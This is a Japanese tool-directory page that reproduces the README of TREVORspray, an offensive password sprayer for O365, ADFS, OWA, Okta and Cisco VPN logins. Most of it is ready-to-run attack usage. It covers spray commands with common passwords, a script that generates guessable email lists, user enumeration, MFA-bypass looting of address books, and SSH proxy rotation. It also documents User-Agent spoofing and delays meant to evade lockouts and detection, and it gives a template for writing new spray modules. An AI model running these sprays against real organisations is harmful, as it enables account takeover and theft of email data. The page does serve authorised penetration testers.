Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
TREVORspray — モジュール式パスワードスプレイヤーで、SSHプロキシローテーション、MFAバイパス、ドメイン偵察を搭載。O365、ADFS、OWA、Okta、Cisco VPNに対応。資格情報の検証と戦利品抽出を自動化します。 | Kitploit
ツール/GitHubGitHub/blacklanternsecurity/trevorspray
WAFバイパス
GitHubblacklanternsecurity/trevorspray

TREVORspray

モジュール式パスワードスプレイヤーで、SSHプロキシローテーション、MFAバイパス、ドメイン偵察を搭載。O365、ADFS、OWA、Okta、Cisco VPNに対応。資格情報の検証と戦利品抽出を自動化します。

リポジトリを見る
1.4k1793ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

TREVORspray 2.0

TREVORsprayは、スレッド、SSHプロキシ、略奪モジュールなどを備えたモジュール式パスワードスプレイヤーです!

作者: @thetechr0mancer

License Python Version

インストール:

root@kitploit:~
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

付属のブログ記事で楽しい解説とクールなデモをご覧ください!

trevorspray-demo

機能

  • スレッド、たくさんのスレッド
  • 複数のモジュール
    • msol (Office 365)
    • adfs (Active Directory フェデレーションサービス)
    • owa (Outlook Web App)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • カスタムモジュール (簡単に作成可能!)
  • 各アカウントのステータス (存在有無、ロック状態、MFA有効化など) を表示
  • 自動キャンセル/再開 (~/.trevorspray/tried_logins.txt に試行済みのユーザー/パスワードの組み合わせを記憶)
  • --ssh または --subnet を使用して複数のIPをラウンドロビンでプロキシ
  • プロキシがダウンした場合やインターネットが切断された場合の自動無限再接続/リトライ
  • User-Agent やその他の署名を偽装し、正当な認証トラフィックのように見せる
  • 包括的なロギング
  • ロックアウト対策を回避するための --delay、--jitter、--lockout-delay オプション (リクエスト間)
  • IPv6対応
  • O365 MFAバイパス対応 (--no-loot で無効化)
    • IMAP
    • SMTP
    • POP
    • EWS (Exchange Web Services) - グローバルアドレス帳(GAL)を自動取得
    • EAS (Exchange ActiveSync)
      • 推奨バイパス: BlueMail Androidアプリ
    • EXO (Exchange Online PowerShell)
    • UM (Exchange Unified Messaging)
    • AutoDiscover - オフラインアドレス帳(OAB)を自動取得
    • Azure Portalアクセス
  • ドメイン --recon 機能:
    • MX/TXTレコードの一覧表示
    • O365情報の一覧表示
      • テナントID
      • テナント名
      • その他のテナントドメイン
      • SharePoint URL
      • 認証URL、自動検出、フェデレーション設定など
    • ユーザー列挙 (--recon と --users を使用):
      • OneDrive
      • Azure Seamless SSO

使い方 - O365

  • まず、corp.com のメールアドレスのリストを取得し、デフォルト設定でスプレイを実行して動作するか確認します。通常は動作します。
  • TREVORspray がリスト内のメールアドレスが存在しないと報告しても、諦めないでください。--recon corp.com で token_endpoint を取得します。token_endpoint はスプレイ対象のURLです (--url オプションで指定)。
  • 正しい token_endpoint とメール形式の組み合わせを見つけるには、試行錯誤が必要かもしれません。
    • 例えば、corp.com を攻撃している場合、単純に corp.com にスプレイするだけではうまくいかないかもしれません。Corp の親会社 Evilcorp が Azure テナントを所有している場合、evilcorp.com の token_endpoint に対してスプレイする必要があります。また、corp.com の内部ドメイン corp.local が使用されている場合もあります。
    • つまり、最終的には [email protected] を の にスプレイするのではなく、 を の に対してスプレイすることになります。

例: ドメインに対して偵察を実行(テナント情報、自動検出、MXレコードなどを取得)

root@kitploit:~
trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

例: OneDriveを介してユーザー列挙(ログイン失敗なし)

root@kitploit:~
trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

例: 見つかった "token_endpoint" URLに対してスプレイ

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

例: リクエスト間に5秒の遅延を設定してスプレイ

root@kitploit:~
trevorspray -u [email protected] -p 'Welcome123' --delay 5

例: 3つのIPをラウンドロビンでスプレイ(-n が指定されていない限り、現在のIPも使用)

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

例: OSINTを使わずに有効なユーザー名を見つける >:D

root@kitploit:~
# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

ダウンロードしたLZXファイルからデータを抽出する

TREVORspray が MFA バイパスに成功し、オフラインアドレス帳 (OAB) を取得すると、アドレス帳は LZX 形式で ~/.trevorspray/loot にダウンロードされます。LZX は Microsoft が使用する古くて厄介な圧縮アルゴリズムです。

root@kitploit:~
# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - ヘルプ:

root@kitploit:~
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d, --delay DELAY     Sleep for this many seconds between requests
  -ld, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j, --jitter JITTER   Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i, -k, --key KEY     Use this SSH key when connecting to proxy hosts
  -b, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --subnet SUBNET       Subnet to send packets from
  --interface INTERFACE
                        Interface to send packets on

独自のスプレイモジュールの作成

まだサポートされていないサービス/エンドポイントにスプレイする必要がある場合、独自のスプレイモジュールを作成できます!カスタムモジュールは TREVORspray のすべての機能(プロキシ、遅延、ジッターなど)を利用できるため、優れた選択肢です。

独自のスプレイモジュールの作成は非常に簡単です。lib/sprayers 内に新しい .py ファイル(例: lib/sprayers/custom_sprayer.py)を作成し、BaseSprayModule を継承するクラスを作成します。クラス名は自由に設定できます。HTTP メソッドやリクエストに必要なその他のパラメータを記述します(例として lib/sprayers/base.py や他のモジュールを参照してください)。

  • 実装する必要があるメソッドは check_response() だけです。このメソッドは、HTTP 応答を評価してログインが成功したかどうかを判断します。
  • 完成後、コマンドラインで Python ファイル名(.py を除く)を指定してカスタムスプレイモジュールを使用できます。例: trevorspray -m custom_sprayer -u users.txt -p Welcome123。
root@kitploit:~
# Example spray module

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

謝辞 - 多大なる感謝を:

  • @dafthack - MSOLSpray の開発
  • @Mrtn9 - Python 版 MSOLSpray の移植
  • @KnappySqwurl - Splunk ウィザードとして
  • @CarsonSallis - O365 MFA バイパスの提供
  • @DrAzureAD - Azure AD 偵察機能 (AADInternals)
  • @nyxgeek - OneDrive ユーザー列挙 (onedrive_user_enum)
  • @gremwell - Seamless SSO ユーザー列挙 (o365enum)

trevor

#trevorforget

ツールをダウンロード
corp.com
token_endpoint
[email protected]
evilcorp.com
token_endpoint